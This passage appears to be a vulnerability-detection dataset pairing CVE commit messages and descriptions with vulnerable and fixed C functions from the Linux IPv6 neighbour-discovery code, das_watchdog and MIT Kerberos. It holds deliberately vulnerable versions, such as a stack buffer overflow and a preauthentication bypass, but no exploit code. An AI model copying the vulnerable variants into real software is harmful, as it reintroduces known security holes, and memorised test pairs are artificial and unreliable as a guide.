	if (skb->ndisc_nodetype == NDISC_NODETYPE_NODEFAULT) {
		ND_PRINTK(2, info,
			  "RA: %s, nodetype is NODEFAULT, dev: %s\n",
			  __func__, skb->dev->name);
		goto skip_linkparms;
	}
#endif

	if (in6_dev->if_flags & IF_RS_SENT) {
		/*
		 *	flag that an RA was received after an RS was sent
		 *	out on this interface.
		 */
		in6_dev->if_flags |= IF_RA_RCVD;
	}

	/*
	 * Remember the managed/otherconf flags from most recently
	 * received RA message (RFC 2462) -- yoshfuji
	 */
	in6_dev->if_flags = (in6_dev->if_flags & ~(IF_RA_MANAGED |
				IF_RA_OTHERCONF)) |
				(ra_msg->icmph.icmp6_addrconf_managed ?
					IF_RA_MANAGED : 0) |
				(ra_msg->icmph.icmp6_addrconf_other ?
					IF_RA_OTHERCONF : 0);

	if (!in6_dev->cnf.accept_ra_defrtr) {
		ND_PRINTK(2, info,
			  "RA: %s, defrtr is false for dev: %s\n",
			  __func__, skb->dev->name);
		goto skip_defrtr;
	}

	/* Do not accept RA with source-addr found on local machine unless
	 * accept_ra_from_local is set to true.
	 */
	if (!in6_dev->cnf.accept_ra_from_local &&
	    ipv6_chk_addr(dev_net(in6_dev->dev), &ipv6_hdr(skb)->saddr,
			  NULL, 0)) {
		ND_PRINTK(2, info,
			  "RA from local address detected on dev: %s: default router ignored\n",
			  skb->dev->name);
		goto skip_defrtr;
	}

	lifetime = ntohs(ra_msg->icmph.icmp6_rt_lifetime);

#ifdef CONFIG_IPV6_ROUTER_PREF
	pref = ra_msg->icmph.icmp6_router_pref;
	/* 10b is handled as if it were 00b (medium) */
	if (pref == ICMPV6_ROUTER_PREF_INVALID ||
	    !in6_dev->cnf.accept_ra_rtr_pref)
		pref = ICMPV6_ROUTER_PREF_MEDIUM;
#endif

	rt = rt6_get_dflt_router(&ipv6_hdr(skb)->saddr, skb->dev);

	if (rt) {
		neigh = dst_neigh_lookup(&rt->dst, &ipv6_hdr(skb)->saddr);
		if (!neigh) {
			ND_PRINTK(0, err,
				  "RA: %s got default router without neighbour\n",
				  __func__);
			ip6_rt_put(rt);
			return;
		}
	}
	if (rt && lifetime == 0) {
		ip6_del_rt(rt);
		rt = NULL;
	}

	ND_PRINTK(3, info, "RA: rt: %p  lifetime: %d, for dev: %s\n",
		  rt, lifetime, skb->dev->name);
	if (rt == NULL && lifetime) {
		ND_PRINTK(3, info, "RA: adding default router\n");

		rt = rt6_add_dflt_router(&ipv6_hdr(skb)->saddr, skb->dev, pref);
		if (rt == NULL) {
			ND_PRINTK(0, err,
				  "RA: %s failed to add default route\n",
				  __func__);
			return;
		}

		neigh = dst_neigh_lookup(&rt->dst, &ipv6_hdr(skb)->saddr);
		if (neigh == NULL) {
			ND_PRINTK(0, err,
				  "RA: %s got default router without neighbour\n",
				  __func__);
			ip6_rt_put(rt);
			return;
		}
		neigh->flags |= NTF_ROUTER;
	} else if (rt) {
		rt->rt6i_flags = (rt->rt6i_flags & ~RTF_PREF_MASK) | RTF_PREF(pref);
	}

 	if (rt)
 		rt6_set_expires(rt, jiffies + (HZ * lifetime));
 	if (ra_msg->icmph.icmp6_hop_limit) {
		/* Only set hop_limit on the interface if it is higher than
		 * the current hop_limit.
		 */
		if (in6_dev->cnf.hop_limit < ra_msg->icmph.icmp6_hop_limit) {
			in6_dev->cnf.hop_limit = ra_msg->icmph.icmp6_hop_limit;
		} else {
			ND_PRINTK(2, warn, "RA: Got route advertisement with lower hop_limit than current\n");
		}
 		if (rt)
 			dst_metric_set(&rt->dst, RTAX_HOPLIMIT,
 				       ra_msg->icmph.icmp6_hop_limit);
	}

skip_defrtr:

	/*
	 *	Update Reachable Time and Retrans Timer
	 */

	if (in6_dev->nd_parms) {
		unsigned long rtime = ntohl(ra_msg->retrans_timer);

		if (rtime && rtime/1000 < MAX_SCHEDULE_TIMEOUT/HZ) {
			rtime = (rtime*HZ)/1000;
			if (rtime < HZ/10)
				rtime = HZ/10;
			NEIGH_VAR_SET(in6_dev->nd_parms, RETRANS_TIME, rtime);
			in6_dev->tstamp = jiffies;
			inet6_ifinfo_notify(RTM_NEWLINK, in6_dev);
		}

		rtime = ntohl(ra_msg->reachable_time);
		if (rtime && rtime/1000 < MAX_SCHEDULE_TIMEOUT/(3*HZ)) {
			rtime = (rtime*HZ)/1000;

			if (rtime < HZ/10)
				rtime = HZ/10;

			if (rtime != NEIGH_VAR(in6_dev->nd_parms, BASE_REACHABLE_TIME)) {
				NEIGH_VAR_SET(in6_dev->nd_parms,
					      BASE_REACHABLE_TIME, rtime);
				NEIGH_VAR_SET(in6_dev->nd_parms,
					      GC_STALETIME, 3 * rtime);
				in6_dev->nd_parms->reachable_time = neigh_rand_reach_time(rtime);
				in6_dev->tstamp = jiffies;
				inet6_ifinfo_notify(RTM_NEWLINK, in6_dev);
			}
		}
	}

skip_linkparms:

	/*
	 *	Process options.
	 */

	if (!neigh)
		neigh = __neigh_lookup(&nd_tbl, &ipv6_hdr(skb)->saddr,
				       skb->dev, 1);
	if (neigh) {
		u8 *lladdr = NULL;
		if (ndopts.nd_opts_src_lladdr) {
			lladdr = ndisc_opt_addr_data(ndopts.nd_opts_src_lladdr,
						     skb->dev);
			if (!lladdr) {
				ND_PRINTK(2, warn,
					  "RA: invalid link-layer address length\n");
				goto out;
			}
		}
		neigh_update(neigh, lladdr, NUD_STALE,
			     NEIGH_UPDATE_F_WEAK_OVERRIDE|
			     NEIGH_UPDATE_F_OVERRIDE|
			     NEIGH_UPDATE_F_OVERRIDE_ISROUTER|
			     NEIGH_UPDATE_F_ISROUTER);
	}

	if (!ipv6_accept_ra(in6_dev)) {
		ND_PRINTK(2, info,
			  "RA: %s, accept_ra is false for dev: %s\n",
			  __func__, skb->dev->name);
		goto out;
	}

#ifdef CONFIG_IPV6_ROUTE_INFO
	if (!in6_dev->cnf.accept_ra_from_local &&
	    ipv6_chk_addr(dev_net(in6_dev->dev), &ipv6_hdr(skb)->saddr,
			  NULL, 0)) {
		ND_PRINTK(2, info,
			  "RA from local address detected on dev: %s: router info ignored.\n",
			  skb->dev->name);
		goto skip_routeinfo;
	}

	if (in6_dev->cnf.accept_ra_rtr_pref && ndopts.nd_opts_ri) {
		struct nd_opt_hdr *p;
		for (p = ndopts.nd_opts_ri;
		     p;
		     p = ndisc_next_option(p, ndopts.nd_opts_ri_end)) {
			struct route_info *ri = (struct route_info *)p;
#ifdef CONFIG_IPV6_NDISC_NODETYPE
			if (skb->ndisc_nodetype == NDISC_NODETYPE_NODEFAULT &&
			    ri->prefix_len == 0)
				continue;
#endif
			if (ri->prefix_len == 0 &&
			    !in6_dev->cnf.accept_ra_defrtr)
				continue;
			if (ri->prefix_len > in6_dev->cnf.accept_ra_rt_info_max_plen)
				continue;
			rt6_route_rcv(skb->dev, (u8 *)p, (p->nd_opt_len) << 3,
				      &ipv6_hdr(skb)->saddr);
		}
	}

skip_routeinfo:
#endif

#ifdef CONFIG_IPV6_NDISC_NODETYPE
	/* skip link-specific ndopts from interior routers */
	if (skb->ndisc_nodetype == NDISC_NODETYPE_NODEFAULT) {
		ND_PRINTK(2, info,
			  "RA: %s, nodetype is NODEFAULT (interior routes), dev: %s\n",
			  __func__, skb->dev->name);
		goto out;
	}
#endif

	if (in6_dev->cnf.accept_ra_pinfo && ndopts.nd_opts_pi) {
		struct nd_opt_hdr *p;
		for (p = ndopts.nd_opts_pi;
		     p;
		     p = ndisc_next_option(p, ndopts.nd_opts_pi_end)) {
			addrconf_prefix_rcv(skb->dev, (u8 *)p,
					    (p->nd_opt_len) << 3,
					    ndopts.nd_opts_src_lladdr != NULL);
		}
	}

	if (ndopts.nd_opts_mtu && in6_dev->cnf.accept_ra_mtu) {
		__be32 n;
		u32 mtu;

		memcpy(&n, ((u8 *)(ndopts.nd_opts_mtu+1))+2, sizeof(mtu));
		mtu = ntohl(n);

		if (mtu < IPV6_MIN_MTU || mtu > skb->dev->mtu) {
			ND_PRINTK(2, warn, "RA: invalid mtu: %d\n", mtu);
		} else if (in6_dev->cnf.mtu6 != mtu) {
			in6_dev->cnf.mtu6 = mtu;

			if (rt)
				dst_metric_set(&rt->dst, RTAX_MTU, mtu);

			rt6_mtu_change(skb->dev, mtu);
		}
	}

	if (ndopts.nd_useropts) {
		struct nd_opt_hdr *p;
		for (p = ndopts.nd_useropts;
		     p;
		     p = ndisc_next_useropt(p, ndopts.nd_useropts_end)) {
			ndisc_ra_useropt(skb, p);
		}
	}

	if (ndopts.nd_opts_tgt_lladdr || ndopts.nd_opts_rh) {
		ND_PRINTK(2, warn, "RA: invalid RA options\n");
	}
out:
	ip6_rt_put(rt);
	if (neigh)
		neigh_release(neigh);
}


Fix memory overflow if the name of an environment is larger than 500 characters. Bug found by Adam Sampson.

 static char *get_pid_environ_val(pid_t pid,char *val){
  char temp[500];
   int i=0;
   int foundit=0;
   FILE *fp;

  sprintf(temp,"/proc/%d/environ",pid);

  fp=fopen(temp,"r");
  if(fp==NULL)
    return NULL;

   for(;;){
     temp[i]=fgetc(fp);

     if(foundit==1 && (temp[i]==0 || temp[i]=='\0' || temp[i]==EOF)){
      char *ret;
      temp[i]=0;
      ret=malloc(strlen(temp)+10);
      sprintf(ret,"%s",temp);
      fclose(fp);
      return ret;
    }

    switch(temp[i]){
    case EOF:
      fclose(fp);
      return NULL;
    case '=':
      temp[i]=0;
      if(!strcmp(temp,val)){
	foundit=1;
      }
      i=0;
      break;
    case '\0':
      i=0;
      break;
    default:
      i++;
    }
  }
}

Buffer overflow in das_watchdog 0.9.0 allows local users to execute arbitrary code with root privileges via a large string in the XAUTHORITY environment variable.


 static char *get_pid_environ_val(pid_t pid,char *val){
  int temp_size = 500;
  char *temp = malloc(temp_size);

   int i=0;
   int foundit=0;
   FILE *fp;

  sprintf(temp,"/proc/%d/environ",pid);

  fp=fopen(temp,"r");
  if(fp==NULL)
    return NULL;

   for(;;){

    if (i >= temp_size) {
      temp_size *= 2;
      temp = realloc(temp, temp_size);
    }

     temp[i]=fgetc(fp);

     if(foundit==1 && (temp[i]==0 || temp[i]=='\0' || temp[i]==EOF)){
      char *ret;
      temp[i]=0;
      ret=malloc(strlen(temp)+10);
      sprintf(ret,"%s",temp);
      fclose(fp);
      return ret;
    }

    switch(temp[i]){
    case EOF:
      fclose(fp);
      return NULL;
    case '=':
      temp[i]=0;
      if(!strcmp(temp,val)){
	foundit=1;
      }
      i=0;
      break;
    case '\0':
      i=0;
      break;
    default:
      i++;
    }
  }
}


Fix IAKERB context export/import [CVE-2015-2698]

The patches for CVE-2015-2696 contained a regression in the newly
added IAKERB iakerb_gss_export_sec_context() function, which could
cause it to corrupt memory.  Fix the regression by properly
dereferencing the context_handle pointer before casting it.

Also, the patches did not implement an IAKERB gss_import_sec_context()
function, under the erroneous belief that an exported IAKERB context
would be tagged as a krb5 context.  Implement it now to allow IAKERB
contexts to be successfully exported and imported after establishment.

CVE-2015-2698:

In any MIT krb5 release with the patches for CVE-2015-2696 applied, an
application which calls gss_export_sec_context() may experience memory
corruption if the context was established using the IAKERB mechanism.
Historically, some vulnerabilities of this nature can be translated
into remote code execution, though the necessary exploits must be
tailored to the individual application and are usually quite
complicated.

    CVSSv2 Vector: AV:N/AC:H/Au:S/C:C/I:C/A:C/E:POC/RL:OF/RC:C

ticket: 8273 (new)
target_version: 1.14
tags: pullup

iakerb_gss_export_sec_context(OM_uint32 *minor_status,
                              gss_ctx_id_t *context_handle,
                               gss_buffer_t interprocess_token)
 {
     OM_uint32 maj;
    iakerb_ctx_id_t ctx = (iakerb_ctx_id_t)context_handle;

     /* We don't currently support exporting partially established contexts. */
     if (!ctx->established)
        return GSS_S_UNAVAILABLE;

    maj = krb5_gss_export_sec_context(minor_status, &ctx->gssc,
                                      interprocess_token);
    if (ctx->gssc == GSS_C_NO_CONTEXT) {
        iakerb_release_context(ctx);
        *context_handle = GSS_C_NO_CONTEXT;
    }
     return maj;
 }

The iakerb_gss_export_sec_context function in lib/gssapi/krb5/iakerb.c in MIT Kerberos 5 (aka krb5) 1.14 pre-release 2015-09-14 improperly accesses a certain pointer, which allows remote authenticated users to cause a denial of service (memory corruption) or possibly have unspecified other impact by interacting with an application that calls the gss_export_sec_context function.  NOTE: this vulnerability exists because of an incorrect fix for CVE-2015-2696.


iakerb_gss_export_sec_context(OM_uint32 *minor_status,
                              gss_ctx_id_t *context_handle,
                               gss_buffer_t interprocess_token)
 {
     OM_uint32 maj;
    iakerb_ctx_id_t ctx = (iakerb_ctx_id_t)*context_handle;

     /* We don't currently support exporting partially established contexts. */
     if (!ctx->established)
        return GSS_S_UNAVAILABLE;

    maj = krb5_gss_export_sec_context(minor_status, &ctx->gssc,
                                      interprocess_token);
    if (ctx->gssc == GSS_C_NO_CONTEXT) {
        iakerb_release_context(ctx);
        *context_handle = GSS_C_NO_CONTEXT;
    }
     return maj;
 }


Fix build_principal memory bug [CVE-2015-2697]

In build_principal_va(), use k5memdup0() instead of strdup() to make a
copy of the realm, to ensure that we allocate the correct number of
bytes and do not read past the end of the input string.  This bug
affects krb5_build_principal(), krb5_build_principal_va(), and
krb5_build_principal_alloc_va().  krb5_build_principal_ext() is not
affected.

CVE-2015-2697:

In MIT krb5 1.7 and later, an authenticated attacker may be able to
cause a KDC to crash using a TGS request with a large realm field
beginning with a null byte.  If the KDC attempts to find a referral to
answer the request, it constructs a principal name for lookup using
krb5_build_principal() with the requested realm.  Due to a bug in this
function, the null byte causes only one byte be allocated for the
realm field of the constructed principal, far less than its length.
Subsequent operations on the lookup principal may cause a read beyond
the end of the mapped memory region, causing the KDC process to crash.

CVSSv2: AV:N/AC:L/Au:S/C:N/I:N/A:C/E:POC/RL:OF/RC:C

ticket: 8252 (new)
target_version: 1.14
tags: pullup

build_principal_va(krb5_context context, krb5_principal princ,
                   unsigned int rlen, const char *realm, va_list ap)
{
    krb5_error_code retval = 0;
    char *r = NULL;
    krb5_data *data = NULL;
    krb5_int32 count = 0;
    krb5_int32 size = 2;  /* initial guess at needed space */
    char *component = NULL;

     data = malloc(size * sizeof(krb5_data));
     if (!data) { retval = ENOMEM; }

    if (!retval) {
        r = strdup(realm);
        if (!r) { retval = ENOMEM; }
    }

     while (!retval && (component = va_arg(ap, char *))) {
         if (count == size) {
            krb5_data *new_data = NULL;

            size *= 2;
            new_data = realloc(data, size * sizeof(krb5_data));
            if (new_data) {
                data = new_data;
            } else {
                retval = ENOMEM;
            }
        }

        if (!retval) {
            data[count].length = strlen(component);
            data[count].data = strdup(component);
            if (!data[count].data) { retval = ENOMEM; }
            count++;
        }
    }

    if (!retval) {
        princ->type = KRB5_NT_UNKNOWN;
        princ->magic = KV5M_PRINCIPAL;
        princ->realm = make_data(r, rlen);
        princ->data = data;
        princ->length = count;
        r = NULL;    /* take ownership */
        data = NULL; /* take ownership */
    }

    if (data) {
        while (--count >= 0) {
            free(data[count].data);
        }
        free(data);
    }
    free(r);

    return retval;
}

The build_principal_va function in lib/krb5/krb/bld_princ.c in MIT Kerberos 5 (aka krb5) before 1.14 allows remote authenticated users to cause a denial of service (out-of-bounds read and KDC crash) via an initial '\0' character in a long realm field within a TGS request.


build_principal_va(krb5_context context, krb5_principal princ,
                   unsigned int rlen, const char *realm, va_list ap)
{
    krb5_error_code retval = 0;
    char *r = NULL;
    krb5_data *data = NULL;
    krb5_int32 count = 0;
    krb5_int32 size = 2;  /* initial guess at needed space */
    char *component = NULL;

     data = malloc(size * sizeof(krb5_data));
     if (!data) { retval = ENOMEM; }

    if (!retval)
        r = k5memdup0(realm, rlen, &retval);

     while (!retval && (component = va_arg(ap, char *))) {
         if (count == size) {
            krb5_data *new_data = NULL;

            size *= 2;
            new_data = realloc(data, size * sizeof(krb5_data));
            if (new_data) {
                data = new_data;
            } else {
                retval = ENOMEM;
            }
        }

        if (!retval) {
            data[count].length = strlen(component);
            data[count].data = strdup(component);
            if (!data[count].data) { retval = ENOMEM; }
            count++;
        }
    }

    if (!retval) {
        princ->type = KRB5_NT_UNKNOWN;
        princ->magic = KV5M_PRINCIPAL;
        princ->realm = make_data(r, rlen);
        princ->data = data;
        princ->length = count;
        r = NULL;    /* take ownership */
        data = NULL; /* take ownership */
    }

    if (data) {
        while (--count >= 0) {
            free(data[count].data);
        }
        free(data);
    }
    free(r);

    return retval;
}


Prevent requires_preauth bypass [CVE-2015-2694]

In the OTP kdcpreauth module, don't set the TKT_FLG_PRE_AUTH bit until
the request is successfully verified.  In the PKINIT kdcpreauth
module, don't respond with code 0 on empty input or an unconfigured
realm.  Together these bugs could cause the KDC preauth framework to
erroneously treat a request as pre-authenticated.

CVE-2015-2694:

In MIT krb5 1.12 and later, when the KDC is configured with PKINIT
support, an unauthenticated remote attacker can bypass the
requires_preauth flag on a client principal and obtain a ciphertext
encrypted in the principal's long-term key.  This ciphertext could be
used to conduct an off-line dictionary attack against the user's
password.

    CVSSv2 Vector: AV:N/AC:M/Au:N/C:P/I:P/A:N/E:POC/RL:OF/RC:C

ticket: 8160 (new)
target_version: 1.13.2
tags: pullup
subject: requires_preauth bypass in PKINIT-enabled KDC [CVE-2015-2694]

pkinit_server_verify_padata(krb5_context context,
                            krb5_data *req_pkt,
                            krb5_kdc_req * request,
                            krb5_enc_tkt_part * enc_tkt_reply,
                            krb5_pa_data * data,
                            krb5_kdcpreauth_callbacks cb,
                            krb5_kdcpreauth_rock rock,
                            krb5_kdcpreauth_moddata moddata,
                            krb5_kdcpreauth_verify_respond_fn respond,
                            void *arg)
{
    krb5_error_code retval = 0;
    krb5_data authp_data = {0, 0, NULL}, krb5_authz = {0, 0, NULL};
    krb5_pa_pk_as_req *reqp = NULL;
    krb5_pa_pk_as_req_draft9 *reqp9 = NULL;
    krb5_auth_pack *auth_pack = NULL;
    krb5_auth_pack_draft9 *auth_pack9 = NULL;
    pkinit_kdc_context plgctx = NULL;
    pkinit_kdc_req_context reqctx = NULL;
    krb5_checksum cksum = {0, 0, 0, NULL};
    krb5_data *der_req = NULL;
    int valid_eku = 0, valid_san = 0;
    krb5_data k5data;
    int is_signed = 1;
    krb5_pa_data **e_data = NULL;
    krb5_kdcpreauth_modreq modreq = NULL;

     pkiDebug("pkinit_verify_padata: entered!\n");
     if (data == NULL || data->length <= 0 || data->contents == NULL) {
        (*respond)(arg, 0, NULL, NULL, NULL);
         return;
     }

    if (moddata == NULL) {
        (*respond)(arg, EINVAL, NULL, NULL, NULL);
        return;
    }

     plgctx = pkinit_find_realm_context(context, moddata, request->server);
     if (plgctx == NULL) {
        (*respond)(arg, 0, NULL, NULL, NULL);
         return;
     }

#ifdef DEBUG_ASN1
    print_buffer_bin(data->contents, data->length, "/tmp/kdc_as_req");
#endif
    /* create a per-request context */
    retval = pkinit_init_kdc_req_context(context, &reqctx);
    if (retval)
        goto cleanup;
    reqctx->pa_type = data->pa_type;

    PADATA_TO_KRB5DATA(data, &k5data);

    switch ((int)data->pa_type) {
    case KRB5_PADATA_PK_AS_REQ:
        pkiDebug("processing KRB5_PADATA_PK_AS_REQ\n");
        retval = k5int_decode_krb5_pa_pk_as_req(&k5data, &reqp);
        if (retval) {
            pkiDebug("decode_krb5_pa_pk_as_req failed\n");
            goto cleanup;
        }
#ifdef DEBUG_ASN1
        print_buffer_bin(reqp->signedAuthPack.data,
                         reqp->signedAuthPack.length,
                         "/tmp/kdc_signed_data");
#endif
        retval = cms_signeddata_verify(context, plgctx->cryptoctx,
                                       reqctx->cryptoctx, plgctx->idctx, CMS_SIGN_CLIENT,
                                       plgctx->opts->require_crl_checking,
                                       (unsigned char *)
                                       reqp->signedAuthPack.data, reqp->signedAuthPack.length,
                                       (unsigned char **)&authp_data.data,
                                       &authp_data.length,
                                       (unsigned char **)&krb5_authz.data,
                                       &krb5_authz.length, &is_signed);
        break;
    case KRB5_PADATA_PK_AS_REP_OLD:
    case KRB5_PADATA_PK_AS_REQ_OLD:
        pkiDebug("processing KRB5_PADATA_PK_AS_REQ_OLD\n");
        retval = k5int_decode_krb5_pa_pk_as_req_draft9(&k5data, &reqp9);
        if (retval) {
            pkiDebug("decode_krb5_pa_pk_as_req_draft9 failed\n");
            goto cleanup;
        }
#ifdef DEBUG_ASN1
        print_buffer_bin(reqp9->signedAuthPack.data,
                         reqp9->signedAuthPack.length,
                         "/tmp/kdc_signed_data_draft9");
#endif

        retval = cms_signeddata_verify(context, plgctx->cryptoctx,
                                       reqctx->cryptoctx, plgctx->idctx, CMS_SIGN_DRAFT9,
                                       plgctx->opts->require_crl_checking,
                                       (unsigned char *)
                                       reqp9->signedAuthPack.data, reqp9->signedAuthPack.length,
                                       (unsigned char **)&authp_data.data,
                                       &authp_data.length,
                                       (unsigned char **)&krb5_authz.data,
                                       &krb5_authz.length, NULL);
        break;
    default:
        pkiDebug("unrecognized pa_type = %d\n", data->pa_type);
        retval = EINVAL;
        goto cleanup;
    }
    if (retval) {
        pkiDebug("pkcs7_signeddata_verify failed\n");
        goto cleanup;
    }
    if (is_signed) {

        retval = verify_client_san(context, plgctx, reqctx, request->client,
                                   &valid_san);
        if (retval)
            goto cleanup;
        if (!valid_san) {
            pkiDebug("%s: did not find an acceptable SAN in user "
                     "certificate\n", __FUNCTION__);
            retval = KRB5KDC_ERR_CLIENT_NAME_MISMATCH;
            goto cleanup;
        }
        retval = verify_client_eku(context, plgctx, reqctx, &valid_eku);
        if (retval)
            goto cleanup;

        if (!valid_eku) {
            pkiDebug("%s: did not find an acceptable EKU in user "
                     "certificate\n", __FUNCTION__);
            retval = KRB5KDC_ERR_INCONSISTENT_KEY_PURPOSE;
            goto cleanup;
        }
    } else { /* !is_signed */
        if (!krb5_principal_compare(context, request->client,
                                    krb5_anonymous_principal())) {
            retval = KRB5KDC_ERR_PREAUTH_FAILED;
            krb5_set_error_message(context, retval,
                                   _("Pkinit request not signed, but client "
                                     "not anonymous."));
            goto cleanup;
        }
    }
#ifdef DEBUG_ASN1
    print_buffer_bin(authp_data.data, authp_data.length, "/tmp/kdc_auth_pack");
#endif

    OCTETDATA_TO_KRB5DATA(&authp_data, &k5data);
    switch ((int)data->pa_type) {
    case KRB5_PADATA_PK_AS_REQ:
        retval = k5int_decode_krb5_auth_pack(&k5data, &auth_pack);
        if (retval) {
            pkiDebug("failed to decode krb5_auth_pack\n");
            goto cleanup;
        }

        retval = krb5_check_clockskew(context,
                                      auth_pack->pkAuthenticator.ctime);
        if (retval)
            goto cleanup;

        /* check dh parameters */
        if (auth_pack->clientPublicValue != NULL) {
            retval = server_check_dh(context, plgctx->cryptoctx,
                                     reqctx->cryptoctx, plgctx->idctx,
                                     &auth_pack->clientPublicValue->algorithm.parameters,
                                     plgctx->opts->dh_min_bits);

            if (retval) {
                pkiDebug("bad dh parameters\n");
                goto cleanup;
            }
        } else if (!is_signed) {
            /*Anonymous pkinit requires DH*/
            retval = KRB5KDC_ERR_PREAUTH_FAILED;
            krb5_set_error_message(context, retval,
                                   _("Anonymous pkinit without DH public "
                                     "value not supported."));
            goto cleanup;
        }
        der_req = cb->request_body(context, rock);
        retval = krb5_c_make_checksum(context, CKSUMTYPE_NIST_SHA, NULL,
                                      0, der_req, &cksum);
        if (retval) {
            pkiDebug("unable to calculate AS REQ checksum\n");
            goto cleanup;
        }
        if (cksum.length != auth_pack->pkAuthenticator.paChecksum.length ||
            k5_bcmp(cksum.contents,
                    auth_pack->pkAuthenticator.paChecksum.contents,
                    cksum.length) != 0) {
            pkiDebug("failed to match the checksum\n");
#ifdef DEBUG_CKSUM
            pkiDebug("calculating checksum on buf size (%d)\n",
                     req_pkt->length);
            print_buffer(req_pkt->data, req_pkt->length);
            pkiDebug("received checksum type=%d size=%d ",
                     auth_pack->pkAuthenticator.paChecksum.checksum_type,
                     auth_pack->pkAuthenticator.paChecksum.length);
            print_buffer(auth_pack->pkAuthenticator.paChecksum.contents,
                         auth_pack->pkAuthenticator.paChecksum.length);
            pkiDebug("expected checksum type=%d size=%d ",
                     cksum.checksum_type, cksum.length);
            print_buffer(cksum.contents, cksum.length);
#endif

            retval = KRB5KDC_ERR_PA_CHECKSUM_MUST_BE_INCLUDED;
            goto cleanup;
        }

        /* check if kdcPkId present and match KDC's subjectIdentifier */
        if (reqp->kdcPkId.data != NULL) {
            int valid_kdcPkId = 0;
            retval = pkinit_check_kdc_pkid(context, plgctx->cryptoctx,
                                           reqctx->cryptoctx, plgctx->idctx,
                                           (unsigned char *)reqp->kdcPkId.data,
                                           reqp->kdcPkId.length, &valid_kdcPkId);
            if (retval)
                goto cleanup;
            if (!valid_kdcPkId)
                pkiDebug("kdcPkId in AS_REQ does not match KDC's cert"
                         "RFC says to ignore and proceed\n");

        }
        /* remember the decoded auth_pack for verify_padata routine */
        reqctx->rcv_auth_pack = auth_pack;
        auth_pack = NULL;
        break;
    case KRB5_PADATA_PK_AS_REP_OLD:
    case KRB5_PADATA_PK_AS_REQ_OLD:
        retval = k5int_decode_krb5_auth_pack_draft9(&k5data, &auth_pack9);
        if (retval) {
            pkiDebug("failed to decode krb5_auth_pack_draft9\n");
            goto cleanup;
        }
        if (auth_pack9->clientPublicValue != NULL) {
            retval = server_check_dh(context, plgctx->cryptoctx,
                                     reqctx->cryptoctx, plgctx->idctx,
                                     &auth_pack9->clientPublicValue->algorithm.parameters,
                                     plgctx->opts->dh_min_bits);

            if (retval) {
                pkiDebug("bad dh parameters\n");
                goto cleanup;
            }
        }
        /* remember the decoded auth_pack for verify_padata routine */
        reqctx->rcv_auth_pack9 = auth_pack9;
        auth_pack9 = NULL;
        break;
    }

    /* remember to set the PREAUTH flag in the reply */
    enc_tkt_reply->flags |= TKT_FLG_PRE_AUTH;
    modreq = (krb5_kdcpreauth_modreq)reqctx;
    reqctx = NULL;

cleanup:
    if (retval && data->pa_type == KRB5_PADATA_PK_AS_REQ) {
        pkiDebug("pkinit_verify_padata failed: creating e-data\n");
        if (pkinit_create_edata(context, plgctx->cryptoctx, reqctx->cryptoctx,
                                plgctx->idctx, plgctx->opts, retval, &e_data))
            pkiDebug("pkinit_create_edata failed\n");
    }

    switch ((int)data->pa_type) {
    case KRB5_PADATA_PK_AS_REQ:
        free_krb5_pa_pk_as_req(&reqp);
        free(cksum.contents);
        break;
    case KRB5_PADATA_PK_AS_REP_OLD:
    case KRB5_PADATA_PK_AS_REQ_OLD:
        free_krb5_pa_pk_as_req_draft9(&reqp9);
    }
    free(authp_data.data);
    free(krb5_authz.data);
    if (reqctx != NULL)
        pkinit_fini_kdc_req_context(context, reqctx);
    free_krb5_auth_pack(&auth_pack);
    free_krb5_auth_pack_draft9(context, &auth_pack9);

    (*respond)(arg, retval, modreq, e_data, NULL);
}

The kdcpreauth modules in MIT Kerberos 5 (aka krb5) 1.12.x and 1.13.x before 1.13.2 do not properly track whether a client's request has been validated, which allows remote attackers to bypass an intended preauthentication requirement by providing (1) zero bytes of data or (2) an arbitrary realm name, related to plugins/preauth/otp/main.c and plugins/preauth/pkinit/pkinit_srv.c.


pkinit_server_verify_padata(krb5_context context,
                            krb5_data *req_pkt,
                            krb5_kdc_req * request,
                            krb5_enc_tkt_part * enc_tkt_reply,
                            krb5_pa_data * data,
                            krb5_kdcpreauth_callbacks cb,
                            krb5_kdcpreauth_rock rock,
                            krb5_kdcpreauth_moddata moddata,
                            krb5_kdcpreauth_verify_respond_fn respond,
                            void *arg)
{
    krb5_error_code retval = 0;
    krb5_data authp_data = {0, 0, NULL}, krb5_authz = {0, 0, NULL};
    krb5_pa_pk_as_req *reqp = NULL;
    krb5_pa_pk_as_req_draft9 *reqp9 = NULL;
    krb5_auth_pack *auth_pack = NULL;
    krb5_auth_pack_draft9 *auth_pack9 = NULL;
    pkinit_kdc_context plgctx = NULL;
    pkinit_kdc_req_context reqctx = NULL;
    krb5_checksum cksum = {0, 0, 0, NULL};
    krb5_data *der_req = NULL;
    int valid_eku = 0, valid_san = 0;
    krb5_data k5data;
    int is_signed = 1;
    krb5_pa_data **e_data = NULL;
    krb5_kdcpreauth_modreq modreq = NULL;

     pkiDebug("pkinit_verify_padata: entered!\n");
     if (data == NULL || data->length <= 0 || data->contents == NULL) {
        (*respond)(arg, EINVAL, NULL, NULL, NULL);
         return;
     }

    if (moddata == NULL) {
        (*respond)(arg, EINVAL, NULL, NULL, NULL);
        return;
    }

     plgctx = pkinit_find_realm_context(context, moddata, request->server);
     if (plgctx == NULL) {
        (*respond)(arg, EINVAL, NULL, NULL, NULL);
         return;
     }

#ifdef DEBUG_ASN1
    print_buffer_bin(data->contents, data->length, "/tmp/kdc_as_req");
#endif
    /* create a per-request context */
    retval = pkinit_init_kdc_req_context(context, &reqctx);
    if (retval)
        goto cleanup;
    reqctx->pa_type = data->pa_type;

    PADATA_TO_KRB5DATA(data, &k5data);

    switch ((int)data->pa_type) {
    case KRB5_PADATA_PK_AS_REQ:
        pkiDebug("processing KRB5_PADATA_PK_AS_REQ\n");
        retval = k5int_decode_krb5_pa_pk_as_req(&k5data, &reqp);
        if (retval) {
            pkiDebug("decode_krb5_pa_pk_as_req failed\n");
            goto cleanup;
        }
#ifdef DEBUG_ASN1
        print_buffer_bin(reqp->signedAuthPack.data,
                         reqp->signedAuthPack.length,
                         "/tmp/kdc_signed_data");
#endif
        retval = cms_signeddata_verify(context, plgctx->cryptoctx,
                                       reqctx->cryptoctx, plgctx->idctx, CMS_SIGN_CLIENT,
                                       plgctx->opts->require_crl_checking,
                                       (unsigned char *)
                                       reqp->signedAuthPack.data, reqp->signedAuthPack.length,
                                       (unsigned char **)&authp_data.data,
                                       &authp_data.length,
                                       (unsigned char **)&krb5_authz.data,
                                       &krb5_authz.length, &is_signed);
        break;
    case KRB5_PADATA_PK_AS_REP_OLD:
    case KRB5_PADATA_PK_AS_REQ_OLD:
        pkiDebug("processing KRB5_PADATA_PK_AS_REQ_OLD\n");
